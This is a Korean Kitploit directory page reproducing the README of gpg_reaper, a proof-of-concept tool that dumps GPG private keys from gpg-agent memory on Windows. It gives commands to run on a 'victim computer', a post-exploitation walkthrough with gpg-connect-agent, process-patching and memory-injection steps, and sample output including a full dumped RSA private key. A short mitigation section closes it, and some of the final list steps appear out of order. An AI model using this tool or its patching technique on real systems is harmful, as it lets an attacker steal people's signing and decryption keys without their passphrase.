Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
gpg_reaper — GPG Reaper - gpg-agent 캐시/메모리에서 GPG 개인 키 획득/탈취/복원 | Kitploit
도구/GitHubGitHub/kacperszurek/gpg_reaper
Memory ForensicsExploitationPost-ExploitationPenetration Testing
GitHubkacperszurek/gpg_reaper

gpg_reaper

GPG Reaper - gpg-agent 캐시/메모리에서 GPG 개인 키 획득/탈취/복원

저장소 보기
96118년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

GPG Reaper

TL;DR: gpg-agent 캐시/메모리에서 GPG 개인 키 얻기/도용/복원

GPG Reaper 로고

이 POC는 Windows에서 gpg-agent 메모리로부터 GPG 개인 키를 얻는 방법을 보여줍니다.

일반적으로 이는 10분 이내(--default-cache-ttl 값)에만 가능해야 합니다.

불행히도 housekeeping() 함수(캐시 정리를 담당)는 GPG를 사용하는 경우에만 실행됩니다(타이머가 없음).

따라서 일반적인 GPG 사용 사례(예: 파일에 서명한 다음 GUI를 닫고 다른 작업 수행)에서도 비밀번호는 여전히 gpg-agent 메모리에 남아 있습니다(TTL이 만료되었더라도).

현재 세션에 접근할 수 있는 공격자는 비밀번호를 알지 못해도 이 방법을 사용하여 개인 키를 도용할 수 있습니다.

참고: GPG는 버전 2.2.6에서 캐싱 메커니즘을 변경할 예정입니다. 커밋 및 이슈를 확인하세요.

Gpg Reaper 구현

목차

  • 설치
  • 테스트
  • 소개
  • 사용법
  • GPG가 설치된 시스템에서 사후 침투
  • 개인 키 내보내기 제한 우회
  • 결론
  • 구현
  • 지원 버전
  • FAQ
  • 크레딧

설치

root@kitploit:~
pip install PGPy

만약 다음과 같은 오류가 발생한다면:

root@kitploit:~
TypeError: Error when calling the metaclass bases metaclass conflict: the metaclass of a derived class must be a (non-strict) subclass of the metaclasses of all its bases` when running python script then:

다음 명령을 실행하세요:

root@kitploit:~
pip install six==1.10.0

테스트

1. Gpg4Win 3.0.3 설치

2. 명령 프롬프트를 열고 2초 캐시 시간으로 에이전트 시작:

root@kitploit:~
cd c:\Program Files (x86)\GnuPG\bin
taskkill /im gpg-agent.exe /F
gpg-agent.exe --daemon --default-cache-ttl 2

3. Kleopatra를 실행하고 새 키 쌍 생성

GPG 키 생성

4. 예제 테스트 파일에 서명

테스트 파일 서명

5. Pinetry가 팝업되어 비밀번호를 묻습니다

Pinentry

6. 4-5단계 반복. 2초 캐시가 만료되었으므로 pinetry가 매번 나타납니다

7. GPG 리퍼 실행

root@kitploit:~
powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile testme.txt

다음과 같은 출력이 나타납니다:

root@kitploit:~
[+] Detect GPG version 3.0.3
[*] Readed jmp bytes: F6-05-E0-F9-45-00-04-0F-85
[*] Readed housekeeping bytes: 55
[+] Find sec key
[+] Check key grip:
[*] uid           [ultimate] Adam Nowak <[email protected]>
[+] Found public key
[*] Allocate memory at: 2d00000
[+] Read debug log C:\Users\user\AppData\Local\Temp\gpg_D98F5932C4193BF82B9C773F13899DD586A1DE38_KqALSXPH.txt
[+] Key dumped
[*] Kill background Job
[*] Restore bytes

보시다시피 키를 덤프했습니다. housekeeping 함수를 NOP 처리했기 때문에 가능합니다.

8. 개인 키 복원:

root@kitploit:~
python gpg_reaper.py .\testme.txt

개인 키가 파일에 덤프됩니다:

root@kitploit:~
[+] Dump E057D86EE78A0EED070296C01BC8630ED9C841D0 - Adam Nowak <[email protected]>

소개

GPG-Agent는 프로토콜과 독립적으로 개인 키를 관리하는 데몬입니다.

GUI 인터페이스는 Assuan 프로토콜을 사용하여 에이전트와 통신합니다.

기본적으로 에이전트는 자격 증명을 캐시합니다.

--default-cache-ttl n 옵션은 캐시 항목의 유효 시간을 n초로 설정합니다.

기본값은 600초입니다. 캐시 항목에 접근할 때마다 타이머가 재설정됩니다.

Windows에서 서명 과정은 다음과 같습니다:

서명 과정

여기서 중요한 부분은 housekeeping() 함수로, 만료된 자격 증명을 메모리에서 제거하는 역할을 합니다.

하지만 한 가지 문제가 있습니다: 이 함수는 두 곳(agent_put_cache와 agent_get_cache 내부)에서만 실행됩니다.

즉, agent_put_cache, agent_get_cache 또는 agent_flush_cache를 사용하는 gpg-agent 명령이 실행될 때까지 캐시된 자격 증명은 메모리에서 제거되지 않습니다.

사용법

피해자 컴퓨터에서:

root@kitploit:~
powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile out.txt

out.txt를 자신의 컴퓨터로 전송하고 개인 키를 복원:

root@kitploit:~
gpg_reaper.py out.txt

개인 키는 별도의 파일로 덤프됩니다.

GPG가 기본 디렉터리가 아닌 곳에 설치된 경우:

root@kitploit:~
Gpg-Reaper -GpgConnectAgentPath c:\gpg\gpg-connect-agent.exe -GpgAgentPath c:\gpg\gpg-agent.exe -GpgPath c:\gpg\gpg.exe

디버그 메시지를 원하지 않는 경우:

root@kitploit:~
Gpg-Reaper -Verbose $false

GPG가 설치된 시스템에서 사후 침투

침투 테스트 중 GPG가 설치된 컴퓨터에서 셸을 획득했다고 가정해 봅시다.

사용자가 최근에 GPG를 사용했고 캐시가 만료되지 않았다면 다음을 수행할 수 있습니다:

1. 파일에 서명:

c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe 실행

  • 특정 시스템에서 사용 가능한 키 목록 가져오기
root@kitploit:~
KEYINFO --list
S KEYINFO 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2 D - - - P - - -
  • 키 그립과 메시지 해시 설정
root@kitploit:~
SIGKEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2
# SHA512 of the message
SETHASH 10 7bfa95a688924c47c7d22381f20cc926f524beacb13f84e203d4bd8cb6ba2fce81c57a5f059bf3d509926487bde925b3bcee0635e4f7baeba054e5dba696b2bf
PKSIGN

2. 개인 키 내보내기:

c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe 실행

  • 래핑 키 가져오기
root@kitploit:~
KEYWRAP_KEY --export
  • 키 저장소에서 비밀 키 내보내기. 키는 현재 세션의 키 래핑 키를 사용하여 AESWRAP-128 알고리즘으로 암호화됩니다.
root@kitploit:~
EXPORT_KEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2

불행히도 예상대로 작동하지 않으며 비밀번호를 묻습니다.

왜일까요? cmd_export_key() 함수는 agent_key_from_file()을 CACHE_MODE_IGNORE 플래그로 호출하기 때문입니다. 이는 캐시를 사용하지 않으며 매번 비밀번호를 묻습니다.

개인 키 내보내기 제한 우회

앞서 살펴본 것처럼 비밀번호를 모르면 gpg-agent를 통해 GPG 키를 내보내는 것은 불가능합니다.

하지만 여기에는 작은 특이점이 있습니다. 에이전트에는 몇 가지 옵션이 있습니다:

1. --debug-level

문제 조사를 위해 디버그 수준을 선택합니다. level은 숫자 값 또는 키워드일 수 있습니다:

guru - 얻을 수 있는 모든 디버그 메시지.

2. --log-file file

모든 로깅 출력을 파일에 추가합니다. 이는 에이전트가 실제로 수행하는 작업을 확인하는 데 매우 유용합니다.

gpg-agent.exe --daemon --debug-level guru --log-file out.txt를 사용하여 에이전트를 실행하고 파일에 서명해 봅시다.

root@kitploit:~
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- SIGKEY 590A068768B6A5CB4DD81CD4828C72AD8427DFE4
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> OK
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- SETKEYDESC Please+enter+the+passphrase+to+unlock+the+OpenPGP+secret+key:%0A%22adam+nowak+<[email protected]>%22%0A2048-bit+RSA+key,+ID+1308197BFDF95EAA,%0Acreated+2018-02-28.%0A
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> OK
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- SETHASH 8 B00357D0B85243BB34049E13FD5C328228BC53B317DF970594A1CED6CB89F4EA
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> OK
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- PKSIGN
2018-03-04 18:21:15 gpg-agent[7180] DBG: agent_get_cache '590A068768B6A5CB4DD81CD4828C72AD8427DFE4' (mode 2) ...
2018-03-04 18:21:15 gpg-agent[7180] DBG: ... miss
2018-03-04 18:21:15 gpg-agent[7180] starting a new PIN Entry
2018-03-04 18:21:15 gpg-agent[7180] DBG: connection to PIN entry established
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> INQUIRE PINENTRY_LAUNCHED 3736 qt 1.1.0 /dev/tty - -
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- END
2018-03-04 18:21:18 gpg-agent[7180] DBG: agent_put_cache '590A068768B6A5CB4DD81CD4828C72AD8427DFE4' (mode 2) requested ttl=0
2018-03-04 18:21:18 gpg-agent[7180] DBG: skey: (private-key
2018-03-04 18:21:18 gpg-agent[7180] DBG:        (rsa
2018-03-04 18:21:18 gpg-agent[7180] DBG:         (n #00EBF36EC96D941D126938C8BD7471F4BA4FF456A3034AD4EEBABABA3A6DE52445A2A67A4FB3DF8B90C6FD65D4B648D62749905DA1CEA7ECB8C31F7DC7ECF3B581668BA3041E6AD57DBE04D75E4C74612B310704B107AB49EE731FB991A7EE0B42E9BD4CD2FF09A2C5EC0AB13B4F53287706432BD03EFD5EA5AAC194CEF188018AAD3E394F14C587BB9A829E21EC39132652CED22B561EDB34E0E4FA64FD2E6035E035EA2592C2C89E71AD2B7A3B4BBFC14288D5448D6F7A64B37AB5AA80E5D34D03F9FC6375882D298DDBCB95F192C669DB141AA2B5F29F2DFC3B12DCB7385492C3EAD8F675901B78C69238A60E76163ED1130D9B4054A9A90AB8DA148280351F#)
2018-03-04 18:21:18 gpg-agent[7180] DBG:         (e #010001#)
2018-03-04 18:21:18 gpg-agent[7180] DBG:         (d #4B873C9EF0DB392524167FB7999742CA02FF095E9C16AFAB8D8D69407BDE1E2AC64279239B46032480762BCB17E09FE0AA9D3243B1E5B21280AF4B719C6974DFEBA5E63452D24AEDB9CE4DEC8B17B3E502082799CD8528A0D22C45181983CB0A0BCD4352C53DDDE3724807EC9EDB5538288286FB5DB6783E1AB765BD8AB6491B7021D17AEDD7494F902121C4B2C3BDB1447C0AABADD00FBD66EEC23882F9FC13DC967E6F1F5ABBAD9FA7E583360A31D3DAEC53CB46F981398CAAD511179E11B5BA04BDB79699AA58687287E9ABA9A820B22872C54078411A142AEA804497581AAD96FCBE4F01202AA4E687672973D26E7148AB7A269B60C68581817B1EB31DE5#)
2018-03-04 18:21:18 gpg-agent[7180] DBG:         (p #00ED6EA59EE03412314BF288629568237A649FACC88C5D6E2F266A58D1CF6BA26254526F916FF7CFC6AF5B5ED0618CE00099DCFB9CB1F7C6BAD6945A8125ECD6A352E8056644A7336FFE2C203B098ED7767FD51101FD4842F1DED870DFD4D1F947D5FB7AB13E318C977AB875F86785F8B98260BB3BA1F6133D03C9296F22875E23#)
2018-03-04 18:21:18 gpg-agent[7180] DBG:         (q #00FE67215C9C6FEF8C21C81A9B34AAB91FCD321D95E3641D7EFE4B89BBAD918CF94068AC89440147ED07E68EC65997568921DE740A504D2D99DDB997BE7DE09228678F544226F2D75F62447AECD7385773D9A7B0EF272B5CF4F32B4EFCB1B0B81893DE768B692D350CFB6B32A683DF773D66169A436DC233AD412FD438E366B6D5#)
2018-03-04 18:21:18 gpg-agent[7180] DBG:         (u #17BA591E668D2D78B1C74E5820A9FE31481232D34B6EBBC2004767512AD4835A42B0621EBE6CD4359BFD9B8DDA3DF234471C99B1CF553EBCF5019452143360FEC051024E43063913DD7A36FA1CA12C02FEAF07C4A4DA50C5286264BC38333C85371B13C704B1FA0265FA4DF17CC1E02B9E37ACA7D72AE40413CA6E5548107299#)))
2018-03-04 18:21:18 gpg-agent[7180] DBG: hash: (data
2018-03-04 18:21:18 gpg-agent[7180] DBG:        (flags pkcs1)
2018-03-04 18:21:18 gpg-agent[7180] DBG:        (hash sha256 #B00357D0B85243BB34049E13FD5C328228BC53B317DF970594A1CED6CB89F4EA#))

guru 모드가 n, e, d, p, q, u 숫자를 로그 파일에 출력하는 것으로 보입니다. 이를 통해 공개 및 개인 키를 계산할 수 있습니다.

내부적으로 DBG_CRYPTO가 설정되면 skey 값은 gcry_log_debugsxp()에 의해 출력됩니다:

root@kitploit:~
if (DBG_CRYPTO)
{
  gcry_log_debugsxp ("skey", s_skey);
  gcry_log_debugsxp ("hash", s_hash);
}

결론

이 공격으로부터 보호하려면 캐시를 비활성화해야 합니다.

%APPDATA%\gnupg\gpg-agent.conf 파일을 생성/수정하세요:

root@kitploit:~
default-cache-ttl 0
max-cache-ttl 0

구현

  1. gpg-connect-agent.exe, gpg-agent.exe, gpg.exe 경로가 올바른지 확인

  2. gpg-agent.exe의 sha256이 지원되는 버전인지 확인

  3. gpg-agent.exe 프로세스가 실행 중인지 확인하고 OpenProcess를 사용하여 열기

  4. 모든 pinentry 프로세스 인스턴스를 종료하는 Start-Job 실행. 캐시에 없는 키를 요청할 때 사용자 상호작용 없이 계속 진행할 수 있습니다.

  5. housekeeping() 및 agent_pksign_do()에서 원본 바이트를 읽어 스크립트 실행 정책 후 복원할 수 있도록 저장

  6. housekeeping() 함수를 NOP 처리하여 만료된 캐시가 메모리에서 제거되지 않도록 함 NOP housekeeping

  7. gpg.exe --list-secret-keys --with-keygrip를 사용하여 사용 가능한 모든 개인 키 목록 가져오기

JMP addr

  1. gpg-connect-agent.exe를 사용하여 다음 명령 실행:
root@kitploit:~
SIGKEY %key_grip%
SETHASH 10 7bfa95a688924c47c7d22381f20cc926f524beacb13f84e203d4bd8cb6ba2fce81c57a5f059bf3d509926487bde925b3bcee0635e4f7baeba054e5dba696b2bf
PKSIGN
  1. 로그 파일에 n, e, d, p, q, u 숫자가 포함되어 있는지 확인. 있으면 사용자에게 반환.

  2. 7단계의 각 키에 대해 8-11단계 반복

이제 PGPy 라이브러리를 사용하여 개인 키를 복원할 수 있습니다. gpg_reaper.py를 참조하세요.

지원 버전

Gpg-agent는 ASLR 없이 컴파일되었으므로 PowerShell 스크립트 내에 하드코딩된 오프셋을 사용합니다.

따라서 지정된 버전만 지원됩니다:

버전gpg-agent.exe sha256
3.0.3D1B331229966F1DCD00988BDE45E6496D447ECBF90AE35046859A67D5B55665A
3.0.23FDF8E4509DEEA66646F98C4A23AA7C4E0C124997BD2C66E706E4A969DDA18A8

FAQ

  1. 왜 PowerShell인가?

이 파일은 대부분의 최신 Windows 시스템에서 외부 종속성 없이 실행될 수 있기 때문입니다.

  1. GPG %file%이 존재하지 않음

gpg-connect-agent.exe, gpg-agent.exe 또는 gpg.exe가 기본 위치에 없습니다.

다음을 사용하여 사용자 지정 위치를 지정할 수 있습니다:

root@kitploit:~
Gpg-Reaper -GpgConnectAgentPath c:\gpg\gpg-connect-agent.exe -GpgAgentPath c:\gpg\gpg-agent.exe -GpgPath c:\gpg\gpg.exe
  1. 실행 중인 gpg-agent가 없음

이 시스템에서 gpg-agent.exe가 실행 중이 아니므로 개인 키를 복원할 수 없습니다.

  1. 알 수 없는 gpg-agent 버전, sha256:

현재 이 스크립트는 특정 버전만 지원합니다.

  1. 캐시된 키가 없음

메모리에 캐시된 키가 없으므로 개인 키를 복원할 수 없습니다.

크레딧

낫 아이콘은 Freepik이 www.flaticon.com에서 제작했습니다.

Solstice Of Suffering 폰트는 GraveTech 제작.

도구 다운로드
  • gpg.exe --armor --export %key_fingerprint%를 사용하여 공개 키 가져오기

  • VirtualAllocEx를 사용하여 gpg-agent.exe 내부에 메모리 할당. 로그 파일 경로를 저장하고 log_set_file() 호출.

  • agent_pksign_do() 내부의 if (DBG_CRYPTO)를 9단계에서 할당한 메모리로의 호출로 교체.

  • 3.0.1
    BE46382E6BCBF5B358B9D01C5435C326325DB5968955B7A6EC0055607DA51CEE
    3.0.0C9F4248E1D2B1B88C5037608BB56217703573A243B793C3D9FE76F1A652324FC